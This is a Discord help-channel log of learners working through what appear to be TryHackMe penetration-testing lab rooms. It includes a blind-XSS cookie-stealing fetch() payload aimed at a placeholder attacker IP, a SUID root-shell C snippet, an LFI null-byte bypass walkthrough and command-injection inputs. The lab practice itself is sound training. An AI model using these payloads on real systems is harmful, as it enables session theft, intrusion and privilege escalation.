#junior-pentester-path

1 messages ยท Page 15 of 1

visual crest
#

nope

deft valley
#

can you show ur screenshot in dm?

visual crest
#

the exploit itself will give you a shell

#

well 'shell' is relative

modest arch
#

ok cool ill give it a go

visual crest
#

I'm down to the last 2 rooms ๐Ÿ™‚

wheat wigeon
#

Hello can i get some help with a question of the command injection room?

#

The "What is the term for the process of "cleaning" user input that is provided to an application?" question, i have read everything twice, tried with input sanitising and so on and doesn't seem to work

#

Any hint?

visual crest
#

its in the text above the question

#

but you are close ๐Ÿ™‚

wheat wigeon
#

Damn bro...

#

Thanks

#

XDD

visual crest
#

yeah for questions like that, I always look in the text right above the question, i can help with spelling differences

wheat wigeon
#

thank you ill try it out!

royal mulch
#

Thanks @deft valley for your help... ๐Ÿ‘

next lanceBOT
#

Gave +1 Rep to @deft valley

wheat wigeon
#

that definitely helped

#

it was with an 'S'

#

Thank you all!!!

modest arch
#

||im a little confused on how to use burp to get a shell, if its a matter of using intruder on a page in the admin section and uploading to a page, A) what page would that be and B) how would i go about that. I've only done a intruder on like logins and things like that using sniper in other paths/ rooms?||

visual crest
modest arch
#

either way it looks like its getting closer so thanks so far @visual crest

visual crest
#

not saying its a great exploit but its a workable one

modest arch
#

true I try whoami, ls, and id but only ls gives a little info, other than that it gives me a warning in the messages

#

even tried cd but its the same

visual crest
#

yeah its not really a shell, its the ability to run commands

#

but you should be able to validate file with ls and read it with cat

modest arch
#

ok, is there a possibility that I can see more in different directories

#

||just because I know that the flag is on /home/ubuntu but i cant see it using ls||

#

dang really over thinking it, thanks @modest arch and @visual crest

next lanceBOT
#

Gave +1 Rep to @tulip elm

prime summit
#

For SSRF Task 2 just do this:
||don't over think it, it's simple||

visual crest
#

usually overthinking it is what gets you in trouble

modest arch
#

yeah way to true

lucid zinc
#

task 5 ssrfqi room doesn't have any avatar, I've tried it in several ways, but it gives error 404 and You cannot access this page from your IP address.

grand crypt
#

hi... i'm stuck on privEsc task 5 (linux) when i want to write the exploit on the target machine it says (permission denied). create http server with python and try to download it using wget and it says (permission denied). How do I run the exploit? if it doesn't let me write or download anything?

#

Thanks

prime summit
visual crest
visual crest
hollow acorn
#

radio

visual crest
#

radial

hollow acorn
#

I'm sorry. Maybe I don't understand

visual crest
#

what?

hollow acorn
#

Never mind.

grand crypt
next lanceBOT
#

Gave +1 Rep to @visual crest

hollow acorn
#

Hey guys, so I'm having issues with the Linux PrivEsc Task 3 on enumeration. I'm not able to use the information in the examples to find the answers to the questions. Is there something I'm missing?

#

Both the Hostname and uname commands worked fine but everything else tells me that I don't have permissions.

#

The question I'm mainly stuck on is what linux version it is.

lucid zinc
hollow acorn
#

I'll try that. Thanks

next lanceBOT
#

Gave +1 Rep to @steel nymph

modest arch
#

almost... done...

#

80%

#

just metasploit and privesc left

hollow acorn
royal mulch
hollow acorn
#

I tried restarting the machine and using the command in the example: /proc/version and I get an error stating that Karen is not a member of the suduors file. This doesnt seem to be a bug. Do I need to run a different command to get this information?

hearty quest
#

i cant get the cookie stealer blind xss ticket system flag

#

i've tried nc, python simplehttpserver and the provided website

lucid zinc
#

does not exist

hollow acorn
hearty quest
#

@hollow acorn ok thx ill keep trying with that

next lanceBOT
#

Gave +1 Rep to @hollow acorn

lucid zinc
#

there is only the fields to update user, email and password

hollow acorn
hollow acorn
lucid zinc
hollow acorn
hollow acorn
#

You would just need to create a fake account to login first

hollow acorn
# royal mulch cat /etc/os-release

I used this command and I believe the information is there but not in the way the answer is formatted. I'm not sure what it's exactly looking for.

#

Never mind. I found it. Not sure why they recommended other commands to find the information if I wouldnt have access to use them.

lucid zinc
hollow acorn
#

You need to create the account and then login to the account you created

#

"Don't have an account yet? Signup here." Then login with the created credentials

hollow acorn
lucid zinc
#

I've created it, I've logged in, I can change all the data, create tickets, do everything, but the avatar part doesn't appear

hollow acorn
#

You would need to login then go to the url above

#

Then you should see the avatars

dusty iris
#

Maybe stupid question but how do you connect to the Windows privledge esc machine or do I need to find a vuln for this?

royal mulch
#

you can use attack box or xfreerdp

dusty iris
#

Yeh I wanted to use xfreerdp thanks for the credentials

lucid zinc
#

when I put it, it redirects me to /customers/login, then I log in again and it doesn't appear, I'll restart the machine again, and clean the browser

royal mulch
#

like this - xfreerdp /u:jack /p:Password11 /v:10.10.196.25

dusty iris
#

I'm in ๐Ÿ™‚

hollow acorn
#

I'm surprised the room doesnt give more information on the best way to connect to the room. I guess it just assumes you will use the attack box?

#

I would say the same about the linux one as well

#

Very difficult for me to follow so far

#

I'm relatively familiar with linux privesc but I'm trying to follow along and do it the way the room recommends. Seems fairly difficult to follow but that may just be me. The enumeration section was pretty confusing to me.

#

I surprised there aren't any hints. There were a couple of answers that were not able to be found using the commands demonstrated. I had to use external commands that were not included which I'm not used to with tryhackme rooms

#

I was able to find the version just fine, but the question "What Linus is this?" and finding the version of python were not as straight forward for me

#

*Linux

royal mulch
#

use "cat /etc/os-release"

hollow acorn
#

I just don't understand why they would use commands as an example to find specific information if we were not able to use the commands and needed to use other commands that were not covered in the room.

junior dome
#

It seems they teach you A way to do it. They want you to take what you've learned and apply it. A quick google search for both of those questions would have provided an answer.

hollow acorn
#

/etc/issue works fine but they give /proc/version as an example but it cannot be used to answer the questions

#

I'm just used to the answers to the questions being covered in the room as apposed to doing research to find the commands to use. If that is required in other rooms they usually provide a hint that states it requires a command that was not covered. Maybe I got too comfortable with the straight forwardness of other rooms

lucid zinc
#

now not redirected and appeared in avatars ๐Ÿ™

hollow acorn
junior dome
#

I think they want you to get use to using your GoogleFu.

grand crypt
#

Anyone has the same problem (connection error) on privEsc linux?

lucid zinc
#

thank you very much, it's already finished the room, it was just the avatar to appear ๐Ÿฅณ

grand crypt
#

I was already able to connect only by ssh. Thanks

next lanceBOT
#

Gave +1 Rep to @steel nymph

rough ore
#

guys stuck at Vulnerability Capstone What is the value of the flag located on this vulnerable machine? This is located in /home/ubuntu on the vulnerable machine

dusty iris
#

I'm already done with it

#

The windows privesc is really unclear

#

"Login with Jack's account (the new password you have set)". I have never changed any password or had any instructions on how to

#

Yes

#

procmon needs UAC to run

#

Alright ill try to reproduce those steps then thanks

rough ore
#

i copiend cve exploit and got syntax error

visual crest
#

there may be other exploits out there to use too

noble rose
#

Greetings

#

Neo

visual crest
#

or good evening

noble rose
#

When will you save us all man

noble rose
visual crest
#

sorry to say... my husband tried to put on The Matrix to play in the background and I told him.. no

noble rose
#

Hahahha

visual crest
rough ore
visual crest
noble rose
#

I still have the LFI Challenge 3 and the playground, challenge 3 i jisy gave up on

visual crest
#

on the other hand, I'd have Lord of the Rings playing in the background

noble rose
#

And playground im almost through

next lanceBOT
#

Gave +1 Rep to @visual crest

noble rose
#

I have LOTR memorized, ez pz

#

My best trilogy

#

Ever

visual crest
#

I may play things in the background that I've seen before

noble rose
#

Hahahah

visual crest
#

in general, I don't like re-watching movies unless I love them

visual crest
#

like there are very few movies I'd re-watch

#

but I'd play moves in the background that are ok/good

rough ore
visual crest
# rough ore of course

so it requires something to be running on your system... it is mentioned in the exploit code

noble rose
#

Do you know what happens when batman sees batgirl?

#

drum roll

rough ore
noble rose
#

The dark knight rises

visual crest
noble rose
noble rose
#

If im not mistaken

#

Also, serious question, i suck at programming, what can i do to get better

visual crest
#

practice

noble rose
#

Practice how

visual crest
#

CS50 is recommended by a lot of people (available on EdX)

noble rose
#

That's a course?

#

Same man

#

Same

#

Ive had so many bad teachers i lost all motivation

#

And passion

#

Nice will check it out thank you :)

visual crest
#

lots of people really really like it

noble rose
#

Ah shit, i need to pay?

visual crest
#

also there are a few programming challenge websites out there where they give you a challenge and the challenges get more difficult

#

edx is free

visual crest
#

there is another one I forgot

noble rose
#

Thr exorcism

#

Indeed

#

Haha

#

Will try it out as well

#

Im being bombarded by alot of new information from this new junior pentesting module

#

It's driving me insane, there are alot of things i don't know

#

Neo did you finish the LFI?

#

I just feel time is flying, and i need to get shit done quickly

#

I need to slow down

#

Can i dm you?

sullen perch
#

usr/share/wordlists/SecLists/Usernames/Names/names.txt: no such file or directory

#

i do have seclists in my kali

#

machine

dusty iris
#

Download from here

sullen perch
#

why do i get this errror

#

?

dusty iris
#

The files are not pre installed

#

Maybe on attackbox but im not sure about that

sullen perch
#

how to install on my kali machine, i already have seclists

visual crest
#

what directory do you have names.txt?

#

or should say what directory do you have seclists, is it the same from the command given? if not, you need to modify the command

sullen perch
#

actually thers no seclists inside wordlists

wheat wigeon
#

Hello chat, may i get some help with the Task 13 from the burp suite basics? The site map isn't showing anything interesting, and i think i may be doing something wrong

noble rose
#

thats how i have it installed

sullen perch
#

i dont have seclists in dir

#

where is it installed?

visual crest
#

its your system

#

PS, the AttackBox is not Kali

lavish thorn
sullen perch
#

fount it

#

found

#

thanks @lavish thorn

next lanceBOT
#

Gave +1 Rep to @lavish thorn

lavish thorn
#

file inclusion task 8 challenge 3 how do i get ride of the .php nullbyte wont work a space shows up before the period i have set the form to post and have the special characters but cant get ride of the .php

visual crest
#

nullbyte won't work?

rough ore
visual crest
rough ore
#

fuel cms 1.4

visual crest
#

oh I used the one from exploit-db

noble rose
#

it becomes like this flag3%00.php

#

after submission

lavish thorn
# noble rose same with me

include(../../../../etc/flag3%00 .php) is what i get the space after the nullbyte and before the period is my problem

noble rose
#

i dont know what to do

#

been stuck for 2 days

visual crest
#

I wish I could remember, they all bleed together

uncut spade
#

Hey y'all back again -- doing the last XSS exercise where I have to feed it a rogue ticket

#

I've been giving it this: </textarea><script>fetch('http://OUR_IP:PORT?cookie=' + btoa(document.cookie) );</script>

lavish thorn
# noble rose same

i just got to this question but have been trying the room for like a week on and off

uncut spade
#

where our ip is my tun0 and port is 9001 like the nc listener in the exercise suggests but nothing is reaching my listener

#

I tried also opening up a simple python server but that didn't work either :[ please advise pls + ty

visual crest
visual crest
uncut spade
next lanceBOT
#

Gave +1 Rep to @visual crest

lavish thorn
rough ore
rough ore
uncut spade
#

oops

modest arch
#

Anyone got the password of user 2 in the privsec room task 7, i found the hash but i couldn't crack it

visual crest
#

although that answer made me so mad

dusty iris
lavish thorn
#

any help on file inclusion task 8 challenge 3

uncut spade
uncut spade
#

should I use that IP? (10.10.10.100)

#

or use the long url thing it generates when I navigate there?

visual crest
#

no, go to that url in a web browser

modest arch
#

Hey gang - I am trying to get Flag7 in linux privesc in junior pentester path. I followed the instructions, but the compiled C program is not granting me a root shell. The program I am compiling is:

int main()
{ setuid (0);
setgid (0);
system("/bin/bash");

uncut spade
modest arch
#

return 0;
}

uncut spade
#

oh

modest arch
#

yeah - its the same code shown in the instructions. After that I am using "gcc nfs.c -o nfs -w" to create an executable called "nfs"

#

this is then given SUID w/ "chmod +s nfs"

uncut spade
#

hmm I haven't done that exercise yet :[ was just going off my little pool of C knowledge

visual crest
#

I'm only on flag 5

modest arch
#

running it on the machine does indeed open a new shell, but i stay with a shell as "karen"

rough ore
visual crest
rough ore
noble rose
#

use python

visual crest
noble rose
#

and print(r.text[0:dup])

visual crest
#

ok then

#

the script is written in python 2

dusty iris
#

Is there anyone that can help me out a bit with the executable name in Windows privledge esc task 6

#

"What would be the name of the executable you would place in that folder?"

#

Didn't get any helpfull results from accesschk64.exe

visual crest
#

I haven't gotten to the windows room so for but hopefully someone else has

uncut spade
uncut spade
# visual crest that should be it

should I append "strc9f96db06ba7fb3d61977912873468b2.log.tryhackme.tech" this to 10.10.10.100 in my payload or use it as the domain name in lieu of an IP address?

#

Unfortunately neither have seemed to work

visual crest
#

its the domain name, it should work

#

then it will pop up on the website

dusty iris
uncut spade
visual crest
#

maybe no /

uncut spade
visual crest
#

at the end of the url

uncut spade
#

okay I'll try that

visual crest
#

thats the vulnerability capstone

jade lodge
#

okay. i know i did it within the last few weeks. just couldn't recall which

uncut spade
visual crest
uncut spade
next lanceBOT
#

Gave +1 Rep to @visual crest

noble rose
#

PIZZA PARTY

visual crest
#

only a few more questions for my 2nd to last room... linux priv esc

noble rose
#

Best of luck

uncut spade
#

Out of curiosity what prizes have been cleaned out? I saw someone got one of the pineapples but did two people already get the OSCP vouchers?

#

I'm a far cry from getting anything like that

dusty iris
#

Thank god I completed the path

#

currently 2:41 AM

noble rose
#

I only got the 7 day and 1 day and pentest title

uncut spade
noble rose
#

I wish there was no duplicates

#

It sucks

jade lodge
#

i've gotten soo many duplicates of pentest and 1day streak. i assume everybody is like that.
didn't help that 1) i also forgot to click "redeem ticket" and clicked the next room a few times. i expect those rolls lost. 2) started some of the burp/vulv classes before the event since i saw new rooms

uncut spade
stable meteor
#

@jade lodge me too

jade lodge
uncut spade
modest arch
#

the instructions don't seem to work.

jade lodge
#

for the vul-capstone course. how are you supposed to fix the error. i dont know much python, but i know zero python2

"Traceback (most recent call last):
File "exploit.py", line 1, in <module>
import requests
ImportError: No module named requests"

when i try
Pip2 install requests. it says python3 requests already satisfies.. but still breaks on running

jade lodge
#

running python2 gives me an error. running pip install says requests already installed. i know c++ not python :p

visual crest
#

what error do you get with python2?

visual crest
#

your pip isn't an alias to pip3 is it?

#

you could also try python2.7 -m pip install requests

jade lodge
#

okay. i think i'm making progress. when runnign pip or pip2, it ran pip3. when i ran /usr/bin/python2 -m pip install requests.... it worked

uncut spade
#

Granted I'm out of my depth on this one but just taking a look at it now for smiles and giggles

modest arch
#

you're right, in the code I am using I do not use spaces. It was able to compile just fine.

#

cat exp.c
int main()
{ setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

#

this is what I compiled

sterile crescent
#

Has anyone figured out the Linux PrivEsc Cron Job task (task 9)? I keep getting a connection error in the window, and connecting through ssh i dont think the cron job is actually happening

jade lodge
next lanceBOT
#

Gave +1 Rep to @visual crest

visual crest
modest arch
sterile crescent
#

thanks, that worked

#

i was caught up on the gui of it just not connecting i thought there was another issue

uncut spade
#

maybe trying compiling the file with the syntax: gcc nfs.c and then chmod on the ./a.out it creates? Apologies if this does not work I'm definitely out of my depth but tryna help lol

lavish thorn
# noble rose the code is faulty it needs readjustment

i figured out file inclusion challenge 3 || the hint says not everything is filtered if you use burp capture the request send to repeater change the method from GET to POST add parameters to the body. under the inspector select the add button after expanding body parameters box. for the name put file then for value put ../../../../etc/flag3 then hit enter do not add the nullbyte as it will encode to %2500 in the the request. but not everything is filtered so add in %00 at the end of the body parameter in the actual request before you send and view response ||

modest arch
next lanceBOT
#

Gave +1 Rep to @uncut spade

drifting drum
next lanceBOT
#

Gave +1 Rep to @drifting drum

drifting drum
#

Np

sullen perch
#

|like this?|

#

||like this||

drifting drum
lavish thorn
next lanceBOT
#

Gave +1 Rep to @drifting drum

drifting drum
lavish thorn
#

|| like this || || like that|| || like this || lol

visual crest
#

woot finished linux room, tomorrow will tackle windows

drifting drum
#

Nice!

rare temple
#

Hey all, having some issues with Lab 2 in task 4. I've tried intentionally putting in an invalid input but can't seem to find the proper directory to answer the question. Any guidance would be greatly appreciated.

slate jewel
#

Hi everyone. I cannot figure out for the life of me how to view the website directory listing in โ€œWalking An Applicationโ€. Donโ€™t want any answers, but I would appreciate a shove in the right direction.

analog quartz
#

I'm completing Authentication bypass room but in the bruteforce task I'm not getting valid username and password

balmy tinsel
#

What is the password to login for winprivesc room? There is only rdp open... Guest login is not working

#

Ohhh it's in split view... Nice

analog quartz
lean badger
#

I am in 'NetSecMod Room 02 telnet' room Task 4. The question with traceroute B is giving me trouble. I tracerouted 5-6 times and used the IP in answer but didn't get the right answer. Please help me.
Traceroute B, what is the IP address of the last router/hop

balmy tinsel
lean badger
#

Thanks buddy

jade lodge
jade lodge
analog quartz
jade lodge
#

remove everything but usernames. 1 name per line

analog quartz
#

okay

slate jewel
analog quartz
jade lodge
#

PM me and screen the command you used as well as the username file

balmy tinsel
hearty quest
#

im on sql room and the first level just keeps loading and nothing happens when i put in different inputs

polar depot
#

Happy to get this 3rd ticket for the 7-day streak freeze prize for completing rooms on the new Jr Penetration Tester path

glad anchor
modest arch
#

midnight JPT session time

#

I'm gonna have a headache and be groggy as freak

lavish rose
#

how do we access windows machine for priv esc?

delicate depot
lavish rose
# delicate depot RDP

i mean for linux, credentials were provided. but I don't see any here, so does that mean we have to get those too first or am i missing something here?

dawn aurora
#

stuck on file inclusion flag2

wicked fulcrum
#

I m on Linux PrivEsc can anyone help me to do PrivEsc on Task7

wicked fulcrum
frozen agate
#

This one in the bag on Day3 but alas all I have to show the wife is a new coffee mug -lol. I must be that unlucky or the competition is just that fierce. It made me learn harder, faster, so there's that!

wicked fulcrum
#

got no luck

lavish rose
zinc bronze
#

Stuck here as well. the files with +s set do not reflect the screen shots.

lavish rose
full escarp
sullen perch
#

what does streak freeze do?

#

it increases the streak or ???

#

decreases

dawn aurora
#

can not get past file inclusion task 8 flag 2, been trying everything

#

i have been, hours now.

#

it says welcome helloworld

frozen agate
twilit flint
reef wave
#

I have 2/3 on most of things I hope ill stop getting freezes tho :/

twilit flint
#

Good luck ๐Ÿ™‚ I got the title, both streak freezes and 10% off the swag store. And all others 2/3 xD

north dove
#

Damn i just got the 3rd oscp ticket

#

But then i woke up!

*cries in corner

reef wave
#

probably all the vouchers has already taken

proven glen
#

hey if i connect to tryhackme with openvpn on both my vm and main system, does it works on only one at a time.

#

??

#

Or is it just my internet speed problem

#

??

north dove
proven glen
#

Authentication bypass machine from tryhackme is not showing <logged_in> cookie.

#

it just shows <admin> and <session> cookie.

#

??

#

curl works but i don't see logged_in cookie

#

how did we know about logged_in cookie??

proven glen
proven glen
#

how to know about logged_in cookie from target's website

#

yes

#

with robert

visual crest
#

Ok am I completely blind... how do we login into the Windows system for Windows Priv Esc?

#

no doubt

full escarp
#

how long does the windows priv esc task 6 to get rev connection

visual crest
#

ok I see it now

next lanceBOT
#

Gave +1 Rep to @steel nymph

full escarp
#

i see found my error thanks anyway

wild sundial
#

im getting only one ticket instead of two since like 6hrs ago, whats the problem?

modest arch
#

I can't figure out the SSRF example flag (task 2). Can anyone help me please?

#

i've been trying this for like an hour and I can't seem to figure it out

full escarp
#

is there another way to get a ticket after finishing the path ?

visual crest
#

I only have 1 room left so...

modest arch
#

I don't know... I've tried about everything pfff

visual crest
#

pretty sure you are missing an &

visual crest
#

well yeah that doesn't work but it should help you get on right track

modest arch
#

do I have to do something with the ID

#

I can't seem to figure it out

#

I'm gonna try again later

#

this isn't going anywhere ๐Ÿ˜–

wild sundial
visual crest
lean ridge
#

Need a bump for linprivesc Task 3; CVE number. I inserted the kernel version and linux on exploitdb; and put the CVE number available but nothing is right. Am I missing something?

#

๐Ÿคฆ๐Ÿผโ€โ™€๏ธ๐Ÿคฆ๐Ÿผโ€โ™€๏ธ๐Ÿคฆ๐Ÿผโ€โ™€๏ธ i didnt put "CVE" in it ; thanks for the heads up tho

wicked fulcrum
#

will cow help me to get root

#

Capstne

#

CAPSTONE

#

Challenge

full escarp
#

i see just finished the all of the rooms and didnt got the voucher i want hahaha

modest arch
#

Hi! I'm stuck on the File Inclusion chall, task8, flag2. I've changed the cookie to be Admin, but then there is no input form.. am I missing something? ๐Ÿ™‚

#

Ohh.. I didn't have the right value for the cookie.. So I've found the flag now! Thanks a lot lassi !

broken current
#

Anyone knows how to solve LFI infusion first challenge on Jr penetration tester path

#

Iโ€™m literally stucked ๐Ÿ˜ข

lean badger
#

Room --> NetSecMod Room 06 nmap Reports
Task --> 5
Here it asked to run scp pentester@10.10.54.29:/home/pentester/*
but getting a straight error -->
# scp pentester@10.10.54.29:/home/pentester/* usage: scp [-346BCpqrv] [-c cipher] [-F ssh_config] [-i identity_file] [-l limit] [-o ssh_option] [-P port] [-S program] [[user@]host1:]file1 ... [[user@]host2:]file2

lean badger
broken current
broken current
#

Last task

lean badger
#

okay

rough ore
#

in linuxprivesc cant find
What Linux is this?

modest arch
#

stuck on flag3 in same room

#

is it flag1 you're doing?

full escarp
modest arch
#

hi guys, i am writing after 3 hour trying, for file inclusion room. Who can give some tricks for flag1 :/

novel rover
#

need another hint on getting this flag in file inclusion room, please)

novel rover
full escarp
modest arch
#

look at source in dev console, see if there's anything you can do there

#

any help with flag3 would be appreciated though, am well stuck on that one

#

everything I've tried gets filtered, no idea how to get the path traversal

broken current
novel rover
#

for flag1 i just sent path from 1 example in room and it worked fine

modest arch
#

yep, thanks. i can get the path in now but the file extension is blowing it. tried %00 and /. at end but no joy. I'll keep at it, so close now ๐Ÿ™‚

next lanceBOT
#

Gave +1 Rep to @steel nymph

left cove
#

Hey Hi. Anyone for quick help in windows priv esc room?

steel ice
sullen perch
#

how to save the output in a file called valid_usernames.txt???

mental holly
#

two rooms left to complete and this is what I have so far...

#

Hey Everyone, I am working on the Linux Priv Esc room with Cronjobs (Task 9), but I am not getting the cronjob to run, I have tested from the vm and can confirm it can manually connect to the attack machine, but the elevated cronjob doesn't seem to run. I have restarted the vm and it has made no difference. I have waited 10+ minutes for it but so far nothing. Any ideas?

modest arch
novel rover
modest arch
#

and you can use nano to manually do it

modest arch
novel rover
next lanceBOT
#

Gave +1 Rep to @spare lava

modest arch
#

woops, replied to wrong person ๐Ÿ˜„

#

meant to be mafran

novel rover
#

ok)

mental holly
#

That would probably do it. something so simple. ๐Ÿ˜„

#

Thanks @steel nymph

next lanceBOT
#

Gave +1 Rep to @steel nymph

loud spire
#

at the end

#

Browsing to http://10.10.55.142:8080 displays a small challenge that will give you a flag once you solve it. What is the flag?

#

had anyone solved task 2

lean badger
bitter snow
#

Alright, I see the error messages. But when I look at the page source, the include statement doesn't seem to lead to anything 8 characters long. So I could use some "nudging" in the right direction, please. I am referring to Task 4 question #2. CANCEL- by moving to the next task, I was shown where to find my answer. I am concerned that it revealed that I was supposed to be looking at the code, but I have no idea how I was supposed to be looking at the code.

modest arch
#

I'm stuck on chall 3 in the lfi room. How do you guys get rid of the extension file?

#

%00 and /. do not seem to work on this chall.. ^^

modest arch
solar ore
#

can someone help with the Net Sec Challenge on port 8080?

loud spire
#

i tried but i just received scan results

#

i tried xmas, syn, fin, tcp connect all scans

solar ore
pure tinsel
#

strange.... blind xss session cookie is telling me it is wrong. going to punt the box and see if i get the same result. getting the same cookie sent to both my box and 10.10.10.100

loud spire
#

we have to trick the IDS so that it doesn't catch us

#

just after each scan reset the packets and then just try all the types of scans u have learned

solar ore
#

okay will try, but for me, after a reset the % keeps going up without doing anything

#

in steps of 5%

loud spire
#

yes

#

it happens

#

with me too

#

thats not an issue

solar ore
#

only need to scan port 8080?

loud spire
#

no

#

just use command nmap SCANTYPE IP

#

along with sudo

solar ore
#

ah without a spoof?

loud spire
#

yes like : sudo nmap -sX TARGET_IP

solar ore
#

okay thank you

loud spire
#

use different scan types as -sX will not profit u

solar ore
#

will try after my hydra finishes... is taking a loong time

loud spire
#

ok

#

for ftp do we need to scan all the ports ?

#

@solar ore

solar ore
#

for ftp we need to brute force the logins of 2 users

#

eddie & quinn

loud spire
#

no no

wild sundial
#

its above 10000

loud spire
#

in anywhere in the task did u scanned all the ports

solar ore
#

aah, do a -p- -sV

loud spire
loud spire
solar ore
#

then you will find the port

wild sundial
#

hint: just below 11000

loud spire
#

i have scanned all the ports and it's just about to complete

#

i have been waiting from past 20 min.

wild sundial
#

i had to scan all the ports too with -p-

loud spire
#

99.99 % done

wild sundial
#

took a very long time lol

wild sundial
solar ore
#

ah wait I did it without the -p-

loud spire
#

๐Ÿ˜†

loud spire
solar ore
#

just ip scan

loud spire
#

if i just do a simple scan

solar ore
#

used -Pn -n alsoยต

fallen crater
#

LinPrivEscSUID machine didn't start wh y?

lean badger
#

I am stuck in a position, where I need to download a file using SCP and get the size.
My scp command is working but not showing the download size. Can anyone help me with how to get the download size?

loud spire
lean badger
next lanceBOT
#

Gave +1 Rep to @loud spire

fallen crater
loud spire
fallen crater
loud spire
#

we needed to trick IDS

#

using null scan

fallen crater
#

yes it is a nice room

broken current
broken current
modest arch
sullen perch
#

no results

modest arch
sullen perch
#

what will be that?

#

url of the website?

#

@modest arch

modest arch
#

What task are you on @sullen perch

sullen perch
#

task 3 brute force

modest arch
#

Have you made an account for one

#

On the mock site

sullen perch
#

no

modest arch
#

Wait nvm not needed for that task

#

Have you got the wordlists on your machine?

sullen perch
#

yes

modest arch
#

Okay

sullen perch
#

validusernames.txt l;ooks like this

modest arch
#

Valid usernames is meant to have the 3 names from the previous task

modest arch
#

^

sullen perch
#

oh okay

modest arch
#

thatโ€™ll be why it failed

#

make the list like this

#

Name1
Name3
Name3
Name4

sullen perch
#

oh okay

modest arch
#

Itโ€™ll work after that

#

Gm matrix man

sullen perch
#

it worked thanks guys

modest arch
#

Np

#

Also for the next task Iโ€™ll give one bit of advice

#

Type the commands out

#

^

#

I was stuck for ages on it for a stupid mistake

#

Read it through a few times if need be

rough ore
#

Someone got 3 ejpt or oscp vouchers?๐Ÿ˜

modest arch
#

Got practically 1-2 or 3 of every other voucher

#

Apart from pineapple, and those two

#

:(

fallen crater
#

My path progress is 96% and i didn't get any of them

modest arch
#

I get 2 at the end of every room

#

Weird

fallen crater
#

i get pentester title and 7 days streak all the time lol

broken current
modest arch
#

Makes sense why I got so many

rough ore
#

Same pentester and win streak๐Ÿคช

fallen crater
#

me too

modest arch
#

all mine so far, quite bad tbh

#

ouch

junior dome
#

same...

modest arch
#

wish they didnt use dupe tickets tbh

rapid kite
modest arch
#

i want to win the wifi pineapple tbh

junior dome
#

I know.... Its just teasing me

lusty bolt
#

I just want a 1 month premium voucher then I'll be happy

modest arch
#

Premium is nice to have honestly

#

@modest arch question, once redeemed pentester, can you toggle it on and off, or is it just like that forever

alpine sigil
#

nothing changed the last 4 5 rooms, only 2 rooms left lol

modest arch
#

gl

fallen crater
#

This is mine

modest arch
#

probably been snatched up yea

alpine sigil
#

eJPT would be amazong, was going to take the exam next week

#

*amazing

modest arch
#

Gonna take Pentest+ in a few months maybe

merry night
#

Glad you're enjoying the ticket event. As for the prices, you still have time. ๐Ÿ™‚

next lanceBOT
#

Gave +1 Rep to @merry night

visual crest
#

time to work towards my last 2 tickets

kindred lantern
#

lfi task 8 flag 4 is about to make me cry lol

#

ment sqli... mabey i should take abreak lol

modest arch
#

For task8 on xss

#

I've got the staff-cookie but it isnt accepting it

zenith lodge
#

if I complete a few rooms and get one ticket for them, then subscribe. is there a way to get those 2 extra tickets from the room's that I've completed?

modest arch
#

nvm fixed it

kindred lantern
#

Yeah I'll take the dog a walk an try again. I can get the response of 5s jus can't workout complete table names

zenith lodge
next lanceBOT
#

Gave +1 Rep to @visual crest

zenith lodge
#

thanks for the heads up, I almost considered doing that

kindred lantern
#

I got oscp voucher first day jus waiting on the email coming

#

Should get one ticket atleast first time round resetting? No?

#

Iv no doubt I'll make an, arse of it but I can only try. Then try harder

dire anchor
bitter snow
#

My Burp looks almost exactly like yours (except for an extra line of Referer on mine). I get no response from Burp at all. It just sits there after I hit send. Any advice?

lusty bolt
#

I have no idea sorry

modest arch
#

can someone give me a nudgle over Measploit:Meterpeter room?

visual crest
#

ask what you need

fallen crater
modest arch
#

I simply don't undersand the req'

fallen crater
modest arch
#

how should I use the creds they give

#

can I dm you?

fallen crater
#

i think you mean smb creds

#

you should use exploit/windows/smb/psexec module

#

from metasploit

modest arch
#

phffff file unclusion flag2

#

someone can give me tricks after set cookie=admin

visual crest
#

I don't remember if it was this one exactly but sometimes you have to see if POST vs GET provides different results

modest arch
gray bolt
#

can someone help me at task 8 sql? I can't get the table name

visual crest
visual crest
gray bolt
#

nope, this is what they provide "referrer=admin123' UNION SELECT SLEEP(5),2 where database() like 'u%';--"

#

tried already

#

is the time response sql

visual crest
#

you have to basically wiggle waggle it

#

test a few things

#

like 'u%' but change u to other things

#

yup

#

its tedious but

#

yeah I found myself skimming a few that didn't require an answer or required cursory answers then I had to go back

#

in order to solve later tasks

devout bone
#

in "Windows Privesc" we need to find a way for foothold?? or creds given to login?

visual crest
devout bone
gray bolt
#

am I the only "lucky" one who got only pentester title and 1 freeze streak for like 10 times?

modest arch
#

Yes

#

Waiting for tryhackme bot to update my role

oblique sand
#

Hey guys, i am having an issue with room 'activerecon' Task 6 i can use the telnet command fine with the Shift+Enter However with the nc command it executes the command before i am able to insert the host name. Not sure if i am doing something wrong.

solar ore
#

Can someone let me know if it normal that the hydra brute force lasts longer then 30 mins for the Net Sec Challenge for question "We learned two usernames using social engineering: eddie and quinn. What is the flag hidden in one of these two account files and accessible via FTP?"

modest arch
#

Can I get any help with Command Injection task 5

swift mirage
#

@solar ore are you using vpn or attackbox?

modest arch
#

@swift mirage have you by chance done Command Injection?

swift mirage
#

very little but i can try to help

#

oh wait, the room

#

not yet

modest arch
#

Alright

#

thanks anyway

novel rover
#

why in command injection practical code doesn't execute, but ||ip && code|| is ok?

modest arch
#

been trying redirecting commands and all aswell

visual crest
#

does whoami work for you?

modest arch
#

for what task

#

or is it directed at somebody else

visual crest
#

thats the command injection practical right?

modest arch
#

yes theres whoami and find flag.txt

novel rover
#

That works, but I'm wondering why it works like that

visual crest
#

does the whoami work?

modest arch
#

I got whoami working by ||;whoami||

broken current
#

Guys any idea how to solve file inclusion flag1 challenge

#

I tried every possible parameters

novel rover
#

Maybe i write not correct question
I solved it
And now have question why whoami doesn't return output, but ip + whoami does?

novel rover
modest arch
#

tamagaft have you managed to get flag.txt

loud spire
#

Who is the author of Exploit-DB?

#

???

broken current
loud spire
#

i did, it's showing results depending on differet authors who wrote exploits

#

ok

modest arch
#

nvm got it

loud spire
#

offensive security

novel rover
#

When i run ping whoami i get some sort of error in my terminal.
But not on that site

loud spire
#

got it

novel rover
modest arch
#

lassi

broken current
modest arch
#

I'm a bit confused how I managed to get the answer with one command and not the other

novel rover
modest arch
#

somehow ||127.0.0.1 | cat /home/tryhackme/flag.txt|| got it but not ||;cat /home/tryhackme/flag.txt||

#

even though the latter got whoami

reef wave
#

I'm on the Metasploit: Meterpreter, any idea why does the sessions can't find the file secrets.txt and session crashes?

rough ore
#

